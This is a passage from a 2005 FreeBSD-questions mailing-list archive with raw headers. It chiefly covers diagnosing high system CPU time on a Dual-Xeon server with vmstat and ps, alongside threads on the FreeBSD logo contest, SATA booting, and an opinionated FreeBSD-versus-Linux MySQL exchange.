4.x poor performer?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:09:15 -0000 still getting this: # vmstat 5 procs memory page disks faults cpu r b w avm fre flt re pi po fr sr da0 da1 in sy cs us sy id 11 2 0 3020036 267944 505 2 1 1 680 62 0 0 515 4005 918 7 38 55 19 2 0 3004568 268672 242 0 0 0 277 0 0 3 338 2767 690 1 99 0 21 2 0 2999152 271240 135 0 0 0 306 0 6 9 363 1749 525 1 99 0 13 2 0 3001508 269692 87 0 0 0 24 0 3 3 302 1524 285 1 99 0 17 2 0 3025892 268612 98 0 1 0 66 0 5 6 312 1523 479 3 97 0 Is there a way of determining what is sucking up so much Sys time? stuff like pperl scripts running and such would use 'user time', no? I've got some high CPU processes running, but would expect them to be shooting up the 'user time' ... USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND setiathome 21338 16.3 0.2 7888 7408 ?? RJ 9:05PM 0:11.35 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_queuerun -v 0 setiathome 21380 15.1 0.1 2988 2484 ?? RsJ 9:06PM 0:02.42 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l pgsql-sql -P10 -p10 setiathome 21384 15.5 0.1 2988 2484 ?? RsJ 9:06PM 0:02.31 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l pgsql-docs -P10 -p10 setiathome 21389 15.0 0.1 2720 2216 ?? RsJ 9:06PM 0:02.06 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l pgsql-hackers -P10 -p10 setiathome 21386 13.7 0.1 2720 2216 ?? RsJ 9:06PM 0:02.03 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l pgsql-ports -P10 -p10 setiathome 21387 13.2 0.1 2724 2220 ?? RsJ 9:06PM 0:01.92 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l pgsql-interfaces -P10 -p10 setiathome 21390 14.6 0.1 2724 2216 ?? RsJ 9:06PM 0:01.93 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -o -d postgresql.org -l pgsql-performance -P10 -p10 setiathome 21330 12.0 0.2 8492 7852 ?? RJ 9:05PM 0:15.55 /usr/bin/perl -wT /dev/fd/3//usr/local/www/mj/mj_wwwusr (perl5.8.5) setiathome 7864 8.9 0.2 8912 8452 ?? RJ 7:20PM 29:54.88 /usr/bin/perl -wT /usr/local/majordomo/bin/mj_trigger -t hourly Is there some way of finding out where all the Sys Time is being used? Something more fine grained them what vmstat/top shows? On Wed, 9 Feb 2005, Loren M. Lang wrote: > On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote: >> >> Is there a command that I can run that provide me the syscall/sec value, >> that I could use in a script? I know vmstat reports it, but is there an >> easier way the having to parse the output? a perl module maybe, that >> already does it? > > vmstat shouldn't be too hard to parse, try the following: > > vmstat|tail -1|awk '{print $15;}' > > To print out the 15th field of vmstat. Now if you want vmstat to keep > running every five seconds or something, it's a little more complicated: > > vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}' > >> >> Thanks ... >> >> On Wed, 9 Feb 2005, Marc G. Fournier wrote: >> >>> On Tue, 8 Feb 2005, Dan Nelson wrote: >>> >>>> Details on the array's performance, I think. Software RAID5 will >>>> definitely have poor write performance (logging disks solve that >>>> problem but vinum doesn't do that), but should have excellent read >>>> rates. From this output, however: >>>> >>>>> systat -v output help: >>>>> 4 users Load 4.64 5.58 5.77 >>>> >>>>> Proc:r p d s w Csw Trp Sys Int Sof Flt >>>>> 24 9282 949 8414***** 678 349 8198 >>>> >>>>> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl >>>> >>>>> Disks da0 da1 da2 da3 da4 pass0 pass1 >>>>> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >>>>> tps 23 2 4 3 1 0 0 >>>>> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >>>>> % busy 3 1 1 1 0 0 0 >>>> >>>> , it looks like your disks aren't being touched at all. You are doing >>>> over 99999 syscalls/second, though, which is mighty high. The 50% Sys >>>> doesn't look good either. You may have a runaway process doing some >>>> syscall over and over. If this is not an MPSAFE syscall (see >>>> /sys/kern/syscalls.master ), it will also prevent other processes from >>>> making non-MPSAFE syscalls, and in 4.x that's most of them. >>> >>> Wow, that actually pointed me in the right direction, I think ... I just >>> killed an http process that was using alot of CPU, and syscalls drop'd >>> down to a numeric value again ... I'm still curious as to why this only >>> seem sto affect my Dual-Xeon box though :( >>> >>> Thanks ... >>> >>> ---- >>> Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) >>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 >>> _______________________________________________ >>> freebsd-questions@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>> To unsubscribe, send any mail to >>> "freebsd-questions-unsubscribe@freebsd.org" >>> >> >> ---- >> Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) >> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > -- > I sense much NT in you. > NT leads to Bluescreen. > Bluescreen leads to downtime. > Downtime leads to suffering. > NT is the path to the darkside. > Powerful Unix is. > > Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc > Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C > > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:12:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F327316A4CE for ; Thu, 10 Feb 2005 01:12:18 +0000 (GMT) Received: from mail.celeritystorm.com (mail.celeritystorm.com [213.247.62.79]) by mx1.FreeBSD.org (Postfix) with ESMTP id 630BF43D31 for ; Thu, 10 Feb 2005 01:12:18 +0000 (GMT) (envelope-from user@celeritystorm.com) Received: from [192.168.0.1] (unknown [81.84.175.77]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.celeritystorm.com (Postfix) with ESMTP id 257343D7495 for ; Thu, 10 Feb 2005 02:12:33 +0100 (CET) Message-ID: <420AB463.2090502@celeritystorm.com> Date: Thu, 10 Feb 2005 01:09:55 +0000 From: - User-Agent: Mozilla Thunderbird 0.7.2 (X11/20040724) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <420A5AF3.6030903@freebsd.org> <8ca932905020910563139f7a4@mail.gmail.com> <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> In-Reply-To: <63888.192.168.1.18.1107975534.squirrel@192.168.1.18> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:12:19 -0000 http://www.petitiononline.com/fbsdmsc1/petition.html Julien Gabel wrote: >>>See the thread "The FreeBSD Project is announcing a public competition >>>for the new logo design. ????" in -advocacy - I've already replied with >>>my views on the subject, along the same lines as your comments. >>> >>> > > > >>I'm not subscribed to -advocacy can you provide me with an archive >>link to this thread in question? I wasn't able to find it based on the >>subject you provided. >> >> > >You can follow this post at: > http://lists.freebsd.org/pipermail/freebsd-advocacy/2005-February/ > > > From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:34:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A97F16A4CE for ; Thu, 10 Feb 2005 01:34:11 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id C3E8443D46 for ; Thu, 10 Feb 2005 01:34:10 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 1C9D112B21D; Wed, 9 Feb 2005 21:34:05 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 59563-01; Thu, 10 Feb 2005 01:34:05 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id 1308212B21C; Wed, 9 Feb 2005 21:34:04 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id AD1B837288; Wed, 9 Feb 2005 21:34:08 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id A95A9356CF; Wed, 9 Feb 2005 21:34:08 -0400 (AST) Date: Wed, 9 Feb 2005 21:34:08 -0400 (AST) From: "Marc G. Fournier" To: "Loren M. Lang" In-Reply-To: <20050209210602.X94338@ganymede.hub.org> Message-ID: <20050209213253.O94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209104047.GN8619@alzatex.com> <20050209210602.X94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: Dan Nelson cc: freebsd-questions@freebsd.org Subject: Re: 99% CPU usage in System (Was: Re: vinum in 4.x poor performer?) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:34:12 -0000 Most odd, there definitely has to be a problem with the Dual-Xeon ysystem ... doing the same vmstat on my other vinum based system, running more, but on a Dual-PIII shows major idle time: # vmstat 5 procs memory page disks faults cpu r b w avm fre flt re pi po fr sr da0 da1 in sy cs us sy id 20 1 0 4088636 219556 1664 1 2 1 3058 217 0 0 856 7937 2186 51 15 34 20 1 0 4115372 224220 472 0 0 0 2066 0 0 35 496 2915 745 7 7 86 10 1 0 4125252 221788 916 0 0 0 2513 0 2 71 798 4821 1538 6 11 83 9 1 0 36508 228452 534 0 0 2 2187 0 0 46 554 3384 1027 3 8 89 11 1 0 27672 218828 623 0 6 0 2337 0 0 61 583 2607 679 3 9 88 16 1 0 5776 220540 989 0 0 0 2393 0 9 32 514 3247 1115 3 8 90 Which leads me further to believe this is a Dual-Xeon problem, and much further away from believing it has anything to do with software RAID :( On Wed, 9 Feb 2005, Marc G. Fournier wrote: > > still getting this: > > # vmstat 5 > procs memory page disks faults cpu > r b w avm fre flt re pi po fr sr da0 da1 in sy cs us sy id > 11 2 0 3020036 267944 505 2 1 1 680 62 0 0 515 4005 918 7 38 55 > 19 2 0 3004568 268672 242 0 0 0 277 0 0 3 338 2767 690 1 99 0 > 21 2 0 2999152 271240 135 0 0 0 306 0 6 9 363 1749 525 1 99 0 > 13 2 0 3001508 269692 87 0 0 0 24 0 3 3 302 1524 285 1 99 0 > 17 2 0 3025892 268612 98 0 1 0 66 0 5 6 312 1523 479 3 97 0 > > Is there a way of determining what is sucking up so much Sys time? stuff > like pperl scripts running and such would use 'user time', no? I've got some > high CPU processes running, but would expect them to be shooting up the 'user > time' ... > > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND > setiathome 21338 16.3 0.2 7888 7408 ?? RJ 9:05PM 0:11.35 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_queuerun -v 0 > setiathome 21380 15.1 0.1 2988 2484 ?? RsJ 9:06PM 0:02.42 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l > pgsql-sql -P10 -p10 > setiathome 21384 15.5 0.1 2988 2484 ?? RsJ 9:06PM 0:02.31 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l > pgsql-docs -P10 -p10 > setiathome 21389 15.0 0.1 2720 2216 ?? RsJ 9:06PM 0:02.06 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l > pgsql-hackers -P10 -p10 > setiathome 21386 13.7 0.1 2720 2216 ?? RsJ 9:06PM 0:02.03 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l > pgsql-ports -P10 -p10 > setiathome 21387 13.2 0.1 2724 2220 ?? RsJ 9:06PM 0:01.92 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -r -d postgresql.org -l > pgsql-interfaces -P10 -p10 > setiathome 21390 14.6 0.1 2724 2216 ?? RsJ 9:06PM 0:01.93 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_enqueue -o -d postgresql.org -l > pgsql-performance -P10 -p10 > setiathome 21330 12.0 0.2 8492 7852 ?? RJ 9:05PM 0:15.55 > /usr/bin/perl -wT /dev/fd/3//usr/local/www/mj/mj_wwwusr (perl5.8.5) > setiathome 7864 8.9 0.2 8912 8452 ?? RJ 7:20PM 29:54.88 > /usr/bin/perl -wT /usr/local/majordomo/bin/mj_trigger -t hourly > > Is there some way of finding out where all the Sys Time is being used? > Something more fine grained them what vmstat/top shows? > > > On Wed, 9 Feb 2005, Loren M. Lang wrote: > >> On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote: >>> >>> Is there a command that I can run that provide me the syscall/sec value, >>> that I could use in a script? I know vmstat reports it, but is there an >>> easier way the having to parse the output? a perl module maybe, that >>> already does it? >> >> vmstat shouldn't be too hard to parse, try the following: >> >> vmstat|tail -1|awk '{print $15;}' >> >> To print out the 15th field of vmstat. Now if you want vmstat to keep >> running every five seconds or something, it's a little more complicated: >> >> vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}' >> >>> >>> Thanks ... >>> >>> On Wed, 9 Feb 2005, Marc G. Fournier wrote: >>> >>>> On Tue, 8 Feb 2005, Dan Nelson wrote: >>>> >>>>> Details on the array's performance, I think. Software RAID5 will >>>>> definitely have poor write performance (logging disks solve that >>>>> problem but vinum doesn't do that), but should have excellent read >>>>> rates. From this output, however: >>>>> >>>>>> systat -v output help: >>>>>> 4 users Load 4.64 5.58 5.77 >>>>> >>>>>> Proc:r p d s w Csw Trp Sys Int Sof Flt >>>>>> 24 9282 949 8414***** 678 349 8198 >>>>> >>>>>> 54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl >>>>> >>>>>> Disks da0 da1 da2 da3 da4 pass0 pass1 >>>>>> KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 >>>>>> tps 23 2 4 3 1 0 0 >>>>>> MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 >>>>>> % busy 3 1 1 1 0 0 0 >>>>> >>>>> , it looks like your disks aren't being touched at all. You are doing >>>>> over 99999 syscalls/second, though, which is mighty high. The 50% Sys >>>>> doesn't look good either. You may have a runaway process doing some >>>>> syscall over and over. If this is not an MPSAFE syscall (see >>>>> /sys/kern/syscalls.master ), it will also prevent other processes from >>>>> making non-MPSAFE syscalls, and in 4.x that's most of them. >>>> >>>> Wow, that actually pointed me in the right direction, I think ... I just >>>> killed an http process that was using alot of CPU, and syscalls drop'd >>>> down to a numeric value again ... I'm still curious as to why this only >>>> seem sto affect my Dual-Xeon box though :( >>>> >>>> Thanks ... >>>> >>>> ---- >>>> Marc G. Fournier Hub.Org Networking Services >>>> (http://www.hub.org) >>>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>>> 7615664 >>>> _______________________________________________ >>>> freebsd-questions@freebsd.org mailing list >>>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>>> To unsubscribe, send any mail to >>>> "freebsd-questions-unsubscribe@freebsd.org" >>>> >>> >>> ---- >>> Marc G. Fournier Hub.Org Networking Services >>> (http://www.hub.org) >>> Email: scrappy@hub.org Yahoo!: yscrappy ICQ: >>> 7615664 >>> _______________________________________________ >>> freebsd-questions@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>> To unsubscribe, send any mail to >>> "freebsd-questions-unsubscribe@freebsd.org" >> >> -- >> I sense much NT in you. >> NT leads to Bluescreen. >> Bluescreen leads to downtime. >> Downtime leads to suffering. >> NT is the path to the darkside. >> Powerful Unix is. >> >> Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc >> Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C >> >> > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 01:55:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 15E6A16A4CF for ; Thu, 10 Feb 2005 01:55:31 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id C898243D2D for ; Thu, 10 Feb 2005 01:55:30 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id F021C12ADDD for ; Wed, 9 Feb 2005 21:55:24 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 60830-01 for ; Thu, 10 Feb 2005 01:55:24 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id D4FF31291F2 for ; Wed, 9 Feb 2005 21:55:23 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 456613CD4E; Wed, 9 Feb 2005 21:55:28 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 41AEC3CD4A for ; Wed, 9 Feb 2005 21:55:28 -0400 (AST) Date: Wed, 9 Feb 2005 21:55:28 -0400 (AST) From: "Marc G. Fournier" To: freebsd-questions@freebsd.org Message-ID: <20050209214335.E94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org Subject: Dual-Xeon vs Dual-PIII ... Dual-PIII actually better? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 01:55:31 -0000 I've had a discussion going on talking about performance issues of one of my servers, and right now the only thing that I've got to "work with" is the difference in CPUs ... I had started it off thinking it was a software RAID issue, but looking at my Dual-PIII, its not exhibiting near as much load, and the only difference between the two configs is drive sizes (Dual-PIII has 36G Seagate Drives, the Dual-Xeon has 73G ones) and the CPUs ... even the operating system is within days of each other, so either I hit a bad 'cvsup day' for the Dual-Xeon, or I'm missing something as far as Dual-Xeon's is concerned ... vmstat 5 on both machines shows >50% idle CPUs on the Dual-PIII, while the Dual-Xeon shows >90% system busy ... if it were vinum related, I'd expect that they would both be about as busy on the system side ... First question ... is there some way of getting 'finer' data on system usage? What is using up 99% of the %CPU, when it happens? syscalls/sec don't seem to 'jump' much when that happens, hovering around the same on both servers (between 2k and 4k / sec ... I'm going to be doing an OS upgrade on that machine over the next couple of days, to see if maybe I did just get a 'bad kernel', but if someone can suggest something that I can monitor/look at to determine where the sys cpu is being sucked up, that would be appreciated ... thanks .... ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 02:02:36 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 69D6316A4CE for ; Thu, 10 Feb 2005 02:02:36 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0844743D31 for ; Thu, 10 Feb 2005 02:02:36 +0000 (GMT) (envelope-from ryallsd@gmail.com) Received: by rproxy.gmail.com with SMTP id c51so42355rne for ; Wed, 09 Feb 2005 18:02:35 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=Zhv4VlxaT7EPiHOXaUFHxLEeZctEpQTAy4xLKR5jI6sYjiNPnDsGtWp2YnpKMcV54ME7NsQkA8KQ6hDDPIk/Y/08Qq8S9Zj9jE6LNUSw56RCoeRKBeZlbrPQx9AaRkTsUyU6plcrg3j56GYwEUqavbIijnk9VzA//avj/sMndR8= Received: by 10.38.79.25 with SMTP id c25mr70885rnb; Wed, 09 Feb 2005 18:02:35 -0800 (PST) Received: by 10.38.208.62 with HTTP; Wed, 9 Feb 2005 18:02:35 -0800 (PST) Message-ID: Date: Wed, 9 Feb 2005 18:02:35 -0800 From: Derrick Ryalls To: shih@math.jussieu.fr In-Reply-To: <20050208215040.GA30251@math.jussieu.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050208215040.GA30251@math.jussieu.fr> cc: freebsd-questions@freebsd.org Subject: Re: Boot problem with SATA X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Derrick Ryalls List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 02:02:36 -0000 > I've problem with booting my PC. The hardward is (something like) > > AMD FX 55 > Two SATA disk with Nvidia NForce 3 for raid > One disk IDE. > > The Two SATA disk is for WinXP > > I want install some real OS in the IDE disk, but the problem is I don't > know how I can choose boot device. When I proceed normaly (like the 100 > times I've to do) I boot on IDE disk (via the BIOS) I've F1..F5 and when I > press F1 everthing work fine I boot my FreeBSD, but when I press F5....i > boot my FreeBSD too. > > Anyone have some solution ? > I recommend using the GAG boot loader. It knows about BSDs/Windows. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 03:20:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CB64C16A4D3 for ; Thu, 10 Feb 2005 03:20:31 +0000 (GMT) Received: from sarajevo.pacific.net.sg (sarajevo.pacific.net.sg [203.120.90.134]) by mx1.FreeBSD.org (Postfix) with SMTP id 450E943D2D for ; Thu, 10 Feb 2005 03:20:30 +0000 (GMT) (envelope-from oceanare@pacific.net.sg) Received: (qmail 2241 invoked from network); 10 Feb 2005 03:20:29 -0000 Received: from unknown (HELO maxwell6.pacific.net.sg) (203.120.90.212) by sarajevo with SMTP; 10 Feb 2005 03:20:29 -0000 Received: from [192.168.0.109] ([210.24.124.198]) by maxwell6.pacific.net.sg with ESMTP <20050210032028.UKNK1233.maxwell6.pacific.net.sg@[192.168.0.109]>; Thu, 10 Feb 2005 11:20:28 +0800 Message-ID: <420AD377.40501@pacific.net.sg> Date: Thu, 10 Feb 2005 11:22:31 +0800 From: Erich Dollansky Organization: oceanare pte ltd User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: stheg olloydson References: <20050209212950.50123.qmail@web53902.mail.yahoo.com> In-Reply-To: <20050209212950.50123.qmail@web53902.mail.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org cc: core@FreeBSD.org cc: freebsd-questions@freebsd.org cc: kuriyama@FreeBSD.org Subject: Re: FreeBSD logo design competition X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 03:20:32 -0000 Hi, stheg olloydson wrote: > Any communications should come from someone with an easy-to-pronounce > northern European surname (but not French) and, if at all possible, a > first name that sounds American. Can I suggest Mark from a lovely town in Austria? www.fucking.at This is the next kind of problems FreeBSD could face. Using words which have a very different meaning in some other language. I think it is absolutely not possible to cater for all those things. Just leave the logo as it is. Erich PS My name would meet Sthegs suggestion and people would still not be able to pronounce it properly From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 03:24:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7114C16A4CE for ; Thu, 10 Feb 2005 03:24:12 +0000 (GMT) Received: from zircon.seattle.wa.us (dsl231-043-165.sea1.dsl.speakeasy.net [216.231.43.165]) by mx1.FreeBSD.org (Postfix) with SMTP id C551E43D45 for ; Thu, 10 Feb 2005 03:24:09 +0000 (GMT) (envelope-from joe@zircon.seattle.wa.us) Received: (qmail 22742 invoked from network); 10 Feb 2005 03:26:16 -0000 Received: from localhost (HELO localhost.zircon.seattle.wa.us) (127.0.0.1) by localhost with SMTP; 10 Feb 2005 03:26:16 -0000 From: Joe Kelsey To: Matt Olander In-Reply-To: <20050209164359.J31921@knight.ixsystems.net> References: <20050209162202.I31921@knight.ixsystems.net> <20050210005856.GC818@thened.net> <20050209164359.J31921@knight.ixsystems.net> Content-Type: text/plain Date: Wed, 09 Feb 2005 19:26:15 -0800 Message-Id: <1108005975.683.47.camel@zircon.zircon.seattle.wa.us> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 03:24:12 -0000 On Wed, 2005-02-09 at 16:44 -0800, Matt Olander wrote: > On Wed, Feb 09, 2005 at 07:58:56PM -0500, Alec Berryman wrote: > > > Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I searched > > > the mailing lists but didn't turn up anything. > > > > There was an article posted to Newsforge today about benchmarking > > MySQL on different operating systems. > > oh! thanks...but according to this article, Linux outperformed FreeBSD > in every metric shown :-( > > is that accurate? LinuxThreads is the WORST implementation of threading that anyone can imagine. Do not ever use Linux or the horrid LinuxThreads for anything that you want to save. Any so-called "benchmark" comparing Linux to anything else (especially windoze) has been polluted by the tradition in the linux/windoze world of running their disks in the completely unsafe "asynchronous" mode so popular with the ATA disk drive manufacturers. This method means that you never actually know whether or not the drive ever writes your data on the disk. It could just sit in the cache waiting for a power failure so that you lose everything. This "async" mode means that the benchmarks "look" fast but are completely unsafe. > > > The customer is looking for some kind of validation that he'll be > > > safe running his database on FreeBSD. > > > > I don't usually look at benchmarks when wondering if my databases are > > 'safe'. > > Perhaps you misunderstood or I fired that email off to quickly. In > addition to benchmarks, he's also looking for anything to show that > he won't be a pioneer in using large MySQL databases on FreeBSD. > > In other words, I'd love to point this customer to FreeBSD if it makes > sense for them. any help appreciated! Many companies have used FreeBSD and MySQL for years and years. There is no reason to not jump to FreeBSD and start using MySQL. At my last job, we ran very large MySQL databases on FreeBSD. For speed we used 15,000 RPM SCSI-3 disk drives. This gives you all the speed you need with the guaranteed safety of FreeBSD. Of course, SCSI-3 15,000 RPM drives are more expensive than those wimpy ATA drives. Go to FreeBSD. Leave that unsafe Linux crap in the dust. /Joe From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 03:28:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 32BFA16A4CE for ; Thu, 10 Feb 2005 03:28:08 +0000 (GMT) Received: from smtp.prodigy.net.mx (nlpproxy04.prodigy.net.mx [148.235.52.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id CCA3D43D3F for ; Thu, 10 Feb 2005 03:28:07 +0000 (GMT) (envelope-from mapsware@prodigy.net.mx) Received: from smtp.prodigy.net.mx (nlpproxy04 [148.235.52.24]) by smtp.prodigy.net.mx (iPlanet Messaging Server 5.2 HotFix 2.01 (built Aug 26 2004)) with ESMTP id <0IBO00F4HEYUD0@smtp.prodigy.net.mx>; Wed, 09 Feb 2005 21:28:07 -0600 (CST) Received: 